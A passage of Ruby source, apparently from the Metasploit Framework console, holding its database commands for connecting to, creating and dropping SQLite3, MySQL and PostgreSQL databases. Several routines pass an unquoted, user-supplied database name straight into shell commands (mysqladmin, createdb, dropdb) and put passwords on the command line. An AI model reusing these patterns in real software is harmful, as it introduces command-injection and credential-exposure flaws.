DBMS's administration tools.") print_error("") meth = "db_create_#{framework.db.driver}" if(self.respond_to?(meth)) self.send(meth, *args) else print_error("This database driver #{framework.db.driver} is not currently supported") end end def cmd_db_destroy(*args) return if not db_check_driver if(args[0] and (args[0] == "-h" || args[0] == "--help")) print_status("Usage: db_destroy [@/]") return end meth = "db_destroy_#{framework.db.driver}" if(self.respond_to?(meth)) self.send(meth, *args) else print_error("This database driver #{framework.db.driver} is not currently supported") end end def cmd_db_connect(*args) return if not db_check_driver if (args[0] == "-y") if (args[1] and not File.exists? File.expand_path(args[1])) print_error("File not found") return end file = args[1] || File.join(Msf::Config.get_config_root, "database.yml") if (File.exists? File.expand_path(file)) db = YAML.load(File.read(file))['production'] cmd_db_driver(db['adapter']) framework.db.connect(db) return end end meth = "db_connect_#{framework.db.driver}" if(self.respond_to?(meth)) self.send(meth, *args) else print_error("This database driver #{framework.db.driver} is not currently supported") end end def cmd_db_disconnect(*args) return if not db_check_driver if(args[0] and (args[0] == "-h" || args[0] == "--help")) print_status("Usage: db_disconnect") return end if (framework.db) framework.db.disconnect() end end def db_find_tools(tools) found = true missed = [] tools.each do |name| if(! Rex::FileUtils.find_full_path(name)) missed << name end end if(not missed.empty?) print_error("This database command requires the following tools to be installed: #{missed.join(", ")}") return end true end # # Database management: SQLite3 # # # Connect to an existing SQLite database # def db_connect_sqlite3(*args) print_error("Note that sqlite is not supported due to numerous issues.") print_error("It may work, but don't count on it") if(args[0] and (args[0] == "-h" || args[0] == "--help")) print_status("Usage: db_connect [database-file-path]") return end info = db_parse_db_uri_sqlite3(args[0]) dbfile = info[:path] opts = { 'adapter' => 'sqlite3', 'database' => dbfile } if (not ::File.exists?(dbfile)) print_status("Creating a new database file...") end if (not framework.db.connect(opts)) raise RuntimeError.new("Failed to connect to the database: #{framework.db.error}") end print_status("Successfully connected to the database") print_status("File: #{dbfile}") end # # Create a new SQLite database instance # def db_create_sqlite3(*args) cmd_db_disconnect() if(args[0] and (args[0] == "-h" || args[0] == "--help")) print_status("Usage: db_create [database-file-path]") return end info = db_parse_db_uri_sqlite3(args[0]) dbfile = info[:path] opts = { 'adapter' => 'sqlite3', 'database' => dbfile } if (::File.exists?(dbfile)) print_status("The specified database already exists, connecting") else print_status("Creating a new database instance...") require_library_or_gem('sqlite3') end if (not framework.db.connect(opts)) raise RuntimeError.new("Failed to connect to the database: #{framework.db.error}") end print_status("Successfully connected to the database") print_status("File: #{dbfile}") end # # Drop an existing database # def db_destroy_sqlite3(*args) cmd_db_disconnect() info = db_parse_db_uri_sqlite3(args[0]) begin print_status("Deleting #{info[:path]}...") File.unlink(info[:path]) rescue Errno::ENOENT print_error("The specified database does not exist") end end def db_parse_db_uri_sqlite3(path) res = {} res[:path] = path || ::File.join(Msf::Config.config_directory, 'sqlite3.db') res end # # Database management: MySQL # # # Connect to an existing MySQL database # def db_connect_mysql(*args) if(args[0] == nil or args[0] == "-h" or args[0] == "--help") print_status(" Usage: db_connect @/") print_status(" OR: db_connect -y [path/to/database.yml]") print_status("Examples:") print_status(" db_connect user@metasploit3") print_status(" db_connect user:pass@192.168.0.2/metasploit3") print_status(" db_connect user:pass@192.168.0.2:1500/metasploit3") return end info = db_parse_db_uri_mysql(args[0]) opts = { 'adapter' => 'mysql' } opts['username'] = info[:user] if (info[:user]) opts['password'] = info[:pass] if (info[:pass]) opts['database'] = info[:name] opts['host'] = info[:host] if (info[:host]) opts['port'] = info[:port] if (info[:port]) opts['host'] ||= 'localhost' # This is an ugly hack for a broken MySQL adapter: # http://dev.rubyonrails.org/ticket/3338 if (opts['host'].strip.downcase == 'localhost') opts['host'] = Socket.gethostbyname("localhost")[3].unpack("C*").join(".") end if (not framework.db.connect(opts)) raise RuntimeError.new("Failed to connect to the database: #{framework.db.error}") end end # # Create a new MySQL database instance # def db_create_mysql(*args) cmd_db_disconnect() if(args[0] == nil or args[0] == "-h" or args[0] == "--help") print_status(" Usage: db_create @/") print_status("Examples:") print_status(" db_create user@metasploit3") print_status(" db_create user:pass@192.168.0.2/metasploit3") print_status(" db_create user:pass@192.168.0.2:1500/metasploit3") return end return if ! db_find_tools(%W{mysqladmin mysql}) info = db_parse_db_uri_mysql(args[0]) opts = { 'adapter' => 'mysql' } argv = [] if (info[:user]) opts['username'] = info[:user] argv.push('-u') argv.push(info[:user]) end if (info[:pass]) argv.push('--password=' + info[:pass]) opts['password'] = info[:pass] end if (info[:host]) opts['host'] = info[:host] argv.push('-h') argv.push(info[:host]) end if (info[:port]) opts['port'] = info[:port] argv.push('-P') argv.push(info[:port]) # This is an ugly hack for a broken MySQL adapter: # http://dev.rubyonrails.org/ticket/3338 if (opts['host'].strip.downcase == 'localhost') opts['host'] = Socket.gethostbyname("localhost")[3].unpack("C*").join(".") end end argv.push('-f') opts['database'] = info[:name] cargs = argv.map{|c| "'#{c}' "}.join system("mysqladmin #{cargs} drop #{info[:name]} >/dev/null 2>&1") system("mysqladmin #{cargs} create #{info[:name]}") if (not framework.db.connect(opts)) raise RuntimeError.new("Failed to connect to the database: #{framework.db.error}") end print_status("Database creation complete (check for errors)") end # # Drop an existing database # def db_destroy_mysql(*args) cmd_db_disconnect() return if ! db_find_tools(%W{mysqladmin}) info = db_parse_db_uri_mysql(args[0]) argv = [] if (info[:user]) argv.push('-u') argv.push(info[:user]) end if (info[:pass]) argv.push('--password=' + info[:pass]) end if (info[:host]) argv.push('-h') argv.push(info[:host]) end if (info[:port]) argv.push('-P') argv.push(info[:port]) end argv.push("-f") cargs = argv.map{|c| "'#{c}' "}.join system("mysqladmin -f #{cargs} drop #{info[:name]}") end def db_parse_db_uri_mysql(path) res = {} if (path) auth, dest = path.split('@') (dest = auth and auth = nil) if not dest res[:user],res[:pass] = auth.split(':') if auth targ,name = dest.split('/') (name = targ and targ = nil) if not name res[:host],res[:port] = targ.split(':') if targ end res[:name] = name || 'metasploit3' res end # # Database management: Postgres # # # Connect to an existing Postgres database # def db_connect_postgresql(*args) if(args[0] == nil or args[0] == "-h" or args[0] == "--help") print_status(" Usage: db_connect @/") print_status(" OR: db_connect -y [path/to/database.yml]") print_status("Examples:") print_status(" db_connect user@metasploit3") print_status(" db_connect user:pass@192.168.0.2/metasploit3") print_status(" db_connect user:pass@192.168.0.2:1500/metasploit3") return end info = db_parse_db_uri_postgresql(args[0]) opts = { 'adapter' => 'postgresql' } opts['username'] = info[:user] if (info[:user]) opts['password'] = info[:pass] if (info[:pass]) opts['database'] = info[:name] opts['host'] = info[:host] if (info[:host]) opts['port'] = info[:port] if (info[:port]) opts['pass'] ||= '' # Do a little legwork to find the real database socket if(! opts['host']) while(true) done = false dirs = %W{ /var/run/postgresql /tmp } dirs.each do |dir| if(::File.directory?(dir)) d = ::Dir.new(dir) d.entries.grep(/^\.s\.PGSQL.(\d+)$/).each do |ent| opts['port'] = ent.split('.')[-1].to_i opts['host'] = dir done = true break end end break if done end break end end # Default to loopback if(! opts['host']) opts['host'] = '127.0.0.1' end if (not framework.db.connect(opts)) raise RuntimeError.new("Failed to connect to the database: #{framework.db.error}") end end # # Create a new Postgres database instance # def db_create_postgresql(*args) cmd_db_disconnect() if(args[0] == nil or args[0] == "-h" or args[0] == "--help") print_status(" Usage: db_create @/") print_status("Examples:") print_status(" db_create user@metasploit3") print_status(" db_create user:pass@192.168.0.2/metasploit3") print_status(" db_create user:pass@192.168.0.2:1500/metasploit3") return end return if ! db_find_tools(%W{psql dropdb createdb}) info = db_parse_db_uri_postgresql(args[0]) opts = { 'adapter' => 'postgresql' } argv = [] if (info[:user]) opts['username'] = info[:user] argv.push('-U') argv.push(info[:user]) else opts['username'] = 'postgres' argv.push('-U') argv.push('postgres') end if (info[:pass]) print() print_status("Warning: You will need to enter the password at the prompts below") print() argv.push('-W') end if (info[:host]) opts['host'] = info[:host] argv.push('-h') argv.push(info[:host]) end if (info[:port]) opts['port'] = info[:port] argv.push('-p') argv.push(info[:port]) end opts['database'] = info[:name] cargs = argv.map{|c| "'#{c}' "}.join system("dropdb #{cargs} #{info[:name]} >/dev/null 2>&1") system("createdb #{cargs} #{info[:name]}") opts['password'] = info[:pass] || '' # Do a little legwork to find the real database socket if(! opts['host']) while(true) done = false dirs = %W{ /var/run/postgresql /tmp } dirs.each do |dir| if(::File.directory?(dir)) d = ::Dir.new(dir) d.entries.grep(/^\.s\.PGSQL.(\d+)$/).each do |ent| opts['port'] = ent.split('.')[-1].to_i opts['host'] = dir done = true break end end break if done end break end end # Default to loopback if(! opts['host']) opts['host'] = '127.0.0.1' end if (not framework.db.connect(opts)) raise RuntimeError.new("Failed to connect to the database: #{framework.db.error}") end print_status("Database creation complete (check for errors)") end # # Drop an existing database # def db_destroy_postgresql(*args) cmd_db_disconnect() return if ! db_find_tools(%W{dropdb}) info = db_parse_db_uri_postgresql(args[0]) argv = [] if (info[:user]) argv.push('-U') argv.push(info[:user]) end if (info[:pass]) print() print_status("Warning: You will need to enter the password at the prompts below") print() argv.push('-W') end if (info[:host]) argv.push('-h') argv.push(info[:host]) end if (info[:port]) argv.push('-p') argv.push(info[:port]) end cargs = argv.map{|c| "'#{c}' "}.join system("dropdb #{cargs} #{info[:name]}") end def db_parse_db_uri_postgresql(path) res = {} if (path) auth, dest = path.split('@') (dest = auth and auth = nil) if not dest res[:user],res[:pass] = auth.split(':') if auth targ,name = dest.split('/') (name = targ and targ = nil) if not name res[:host],res[:port] = targ.split(':') if targ end res[:name] = name || 'metasploit3' res end end end end end end